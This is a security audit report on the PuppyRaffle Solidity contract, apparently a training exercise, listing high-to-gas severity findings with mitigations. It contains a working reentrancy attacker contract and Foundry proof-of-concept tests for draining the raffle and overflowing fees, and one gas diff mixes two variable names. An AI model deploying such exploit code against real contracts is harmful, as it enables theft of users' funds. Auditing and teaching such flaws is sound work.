Puppy raffle audit

Prepared by: Ya-Sin

Table of Contents

- Table of Contents
- Protocol Summary
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - [H-1] Reentrancy attack in `PuppyRaffle::refund` allow entrant to drain raffle balance.
    - [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner.
    - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees.
  - Medium
    - [M-1] Smart contract wallets raffle winners without a `receive`or `fallback`function will block the start of a new contest.
  - Low
    - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
  - Informational
    - [I-1] Solidity pragma should be specific, not wide.
    - [I-2] Using an outdated version of Solidity is not recommended.
    - [I-3] Missing checks for `address(0)` when assigning values to address state variables/
    - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.
    - [I-5] Use of magic numbers is discouraged.
    - [I-6] State changes are missing events.
  - Gas
    - [G-1] Unchanged state variables should be declared constant or immutable.
    - [G-2] Storage variables in a loop should be cached.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT.

Risk Classification

	Impact		
	High	Medium	Low

		Impact		
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

```
./src/
└── PuppyRaffle.sol
```

Roles

Executive Summary

Issues found

Severity	Numbers of issues found
High	3
Medium	1
Low	1
Info	6
Gas	2
Total	13

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allow entrant to drain raffle balance.

Description: The `PuppyRaffle::refund` function does not follow CEI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

@>        payable(msg.sender).sendValue(entranceFee);

@>        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Copy and paste the following code in `PuppyRaffleTest.t.sol`.

▶ Details
Code

```
     function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle
        );
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract)
```

```
            .balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("start attacker", startingAttackContractBalance);
        console.log("start contract", startingContractBalance);

        console.log("end attacker", address(attackerContract).balance);
        console.log("end contract", address(puppyRaffle).balance);
    }
```

```

    contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```diff
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

-       payable(msg.sender).sendValue(entranceFee);
        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
+       payable(msg.sender).sendValue(entranceFee);
     }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worhtless if it becomes a gas war as to who wins the raffles;

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector.

Recommended Mitigation:

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees.

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contact.

Proof of Concept:

1. We conclude a raffle of 4 players.

2. We then have 89 players enter a new raffle, and conclude the raffle.
3. `totalFees` will overflow.
4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawwFees`:

```
    require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above will be impossible to hit.

▶ Details

Code

~~~
```javascript
    function testOverflow() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();

    uint256 playersNum = 89;
    address[] memory players2 = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players2[i] = address(i);
    }

    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players2);

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();

    uint256 endTotalFees = puppyRaffle.totalFees();

    assert(endTotalFees < startingTotalFees);
}
```
~~~

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFee`
2. You could also use the `SafeMath` library of OpenZepplin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.

3. Remove the balance check from `PuppyRaffle::withdrawFee`.

Medium

[M-1] Smart contract wallets raffle winners without a `receive`or `fallback`function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends.
3. The `selectWinner` function wouldn't work, even tough the lottery is over!

Recommended Mitigation:

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winners can pull their funds out themselves with a new `claimPrize`, putting the owness on the winner to claim their prize.

> Pull over Push.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspect, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
```

```
@>          return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th positioon for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player isn't in the array.

Informational

[I-1] Solidity pragma should be specific, not wide.

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

[I-2] Using an outdated version of Solidity is not recommended.

Please use a newer version like `0.8.18`

[I-3] Missing checks for `address(0)` when assigning values to address state variables/

Assigning value to address state variables without checking for `address(0)`.

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

[I-5] Use of magic numbers is discouraged.

It can be confusing to see number literals in a codebase, and it's much more readabke if the numbers are given a name.

[I-6] State changes are missing events.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expansive than read a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be immutable
- `PuppyRaffle::commonImageUri` should be constant
- `PuppyRaffle::rareImageUri` should be constant
- `PuppyRaffle::legendaryImageUri` should be constant

[G-2] Storage variables in a loop should be cached.

Everytime you call `player.length` you read from storage, as opposed to memory which is more gas efficient.

```diff
+   uint256 playerLength = players.length;
-    for (uint256 i = 0; i < players.length - 1; i++) {
+    for (uint256 i = 0; i < playerLength - 1; i++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```